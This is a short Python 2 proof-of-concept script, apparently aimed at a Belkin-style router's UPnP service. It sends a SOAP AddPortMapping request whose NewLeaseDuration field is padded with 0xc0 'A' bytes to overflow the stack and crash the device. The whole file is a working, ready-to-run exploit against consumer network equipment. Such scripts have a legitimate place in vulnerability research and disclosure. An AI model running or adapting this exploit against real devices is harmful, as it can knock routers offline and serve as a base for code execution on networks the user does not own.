crash-upnp-f9k.py

#!/usr/bin/env python

import socket

IP='192.168.2.1'
PORT=80




# Add Port Mapping Stack (started from NewLeaseDuration variable)
buf = "A"*0xc0

body='''<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<m:AddPortMapping xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1">
	<NewPortMappingDescription>A</NewPortMappingDescription>
	<NewLeaseDuration>%s</NewLeaseDuration>
	<NewInternalClient>A</NewInternalClient>
	<NewEnabled>A</NewEnabled>
	<NewExternalPort>A</NewExternalPort>
	<NewRemoteHost>A</NewRemoteHost>
	<NewProtocol>A</NewProtocol>
	<NewInternalPort>A</NewInternalPort>
</m:AddPortMapping>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
''' % (buf)

headers='''\
POST /upnp/control?WANIPConnection HTTP/1.1\r\n\
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"\r\n\
Host: %s:%d\r\n\
Content-Type: text/xml\r\n\
Content-Length: %d\r\n\r\n''' % (IP, PORT, len(body))

packet = headers + body

print packet

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((IP, PORT))
sock.send(packet)
print sock.recv(1024)